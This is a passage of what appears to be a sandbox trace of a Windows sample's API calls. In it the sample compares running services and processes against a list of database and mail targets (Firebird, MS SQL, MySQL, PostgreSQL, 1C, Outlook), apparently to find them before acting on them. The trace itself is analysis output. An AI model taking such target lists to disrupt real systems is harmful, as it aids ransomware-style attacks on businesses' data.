(lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.155] lstrlenW (lpString="NlaSvc") returned 6 [0039.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.155] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.155] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.155] lstrlenW (lpString="nsi") returned 3 [0039.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.155] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.155] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.155] lstrlenW (lpString="PcaSvc") returned 6 [0039.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.155] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.155] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.156] lstrlenW (lpString="PlugPlay") returned 8 [0039.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.156] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.156] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.156] lstrlenW (lpString="Power") returned 5 [0039.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.156] lstrlenW (lpString="ProfSvc") returned 7 [0039.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.156] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.156] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.156] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.156] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.156] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.156] lstrlenW (lpString="RpcSs") returned 5 [0039.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.157] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.157] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.157] lstrlenW (lpString="SamSs") returned 5 [0039.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.157] lstrlenW (lpString="Schedule") returned 8 [0039.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.157] lstrlenW (lpString="SENS") returned 4 [0039.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.157] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.157] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.157] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.157] lstrlenW (lpString="Spooler") returned 7 [0039.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.158] lstrlenW (lpString="sppsvc") returned 6 [0039.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0039.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0039.158] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0039.158] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0039.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0039.158] lstrlenW (lpString="SysMain") returned 7 [0039.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.158] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.158] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.158] lstrlenW (lpString="Themes") returned 6 [0039.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.158] lstrlenW (lpString="TrkWks") returned 6 [0039.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.158] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.158] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.159] lstrlenW (lpString="UxSms") returned 5 [0039.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.159] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.159] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.159] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.159] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.159] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.159] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.159] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.159] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.159] lstrlenW (lpString="WinDefend") returned 9 [0039.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0039.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0039.159] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0039.159] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0039.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0039.159] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.160] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.160] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.160] lstrlenW (lpString="Winmgmt") returned 7 [0039.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.160] lstrlenW (lpString="wscsvc") returned 6 [0039.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0039.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0039.160] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0039.160] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0039.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0039.160] lstrlenW (lpString="wuauserv") returned 8 [0039.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0039.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0039.160] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0039.160] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0039.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0039.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f3708 | out: hHeap=0x520000) returned 1 [0039.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0039.165] Process32FirstW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.165] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.166] lstrlenW (lpString="System") returned 6 [0039.166] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.166] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.167] lstrlenW (lpString="smss.exe") returned 8 [0039.167] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.167] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.168] lstrlenW (lpString="csrss.exe") returned 9 [0039.168] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.169] lstrlenW (lpString="wininit.exe") returned 11 [0039.169] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.169] lstrlenW (lpString="csrss.exe") returned 9 [0039.169] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.170] lstrlenW (lpString="winlogon.exe") returned 12 [0039.170] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.171] lstrlenW (lpString="services.exe") returned 12 [0039.171] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.171] lstrlenW (lpString="lsass.exe") returned 9 [0039.171] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.172] lstrlenW (lpString="lsm.exe") returned 7 [0039.172] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.173] lstrlenW (lpString="svchost.exe") returned 11 [0039.173] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.173] lstrlenW (lpString="svchost.exe") returned 11 [0039.173] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.174] lstrlenW (lpString="svchost.exe") returned 11 [0039.174] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.175] lstrlenW (lpString="svchost.exe") returned 11 [0039.175] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.176] lstrlenW (lpString="svchost.exe") returned 11 [0039.176] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.176] lstrlenW (lpString="audiodg.exe") returned 11 [0039.176] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.177] lstrlenW (lpString="svchost.exe") returned 11 [0039.177] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.178] lstrlenW (lpString="svchost.exe") returned 11 [0039.178] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.178] lstrlenW (lpString="dwm.exe") returned 7 [0039.178] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.179] lstrlenW (lpString="explorer.exe") returned 12 [0039.179] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.180] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.180] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.180] lstrlenW (lpString="taskhost.exe") returned 12 [0039.180] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.181] lstrlenW (lpString="svchost.exe") returned 11 [0039.181] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.182] lstrlenW (lpString="taskeng.exe") returned 11 [0039.182] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.182] lstrlenW (lpString="taskhost.exe") returned 12 [0039.182] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.183] lstrlenW (lpString="svchost.exe") returned 11 [0039.183] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0039.184] lstrlenW (lpString="sppsvc.exe") returned 10 [0039.184] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.184] lstrlenW (lpString="svchost.exe") returned 11 [0039.184] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0039.185] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0039.185] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0039.186] lstrlenW (lpString="smsvhskate.exe") returned 14 [0039.186] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0039.186] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0039.186] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0039.187] lstrlenW (lpString="patient latin.exe") returned 17 [0039.187] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0039.188] lstrlenW (lpString="barbados.exe") returned 12 [0039.188] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0039.188] lstrlenW (lpString="otthose.exe") returned 11 [0039.188] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0039.189] lstrlenW (lpString="suburban.exe") returned 12 [0039.189] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0039.381] lstrlenW (lpString="examination.exe") returned 15 [0039.381] Process32NextW (in: hSnapshot=0x18c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, 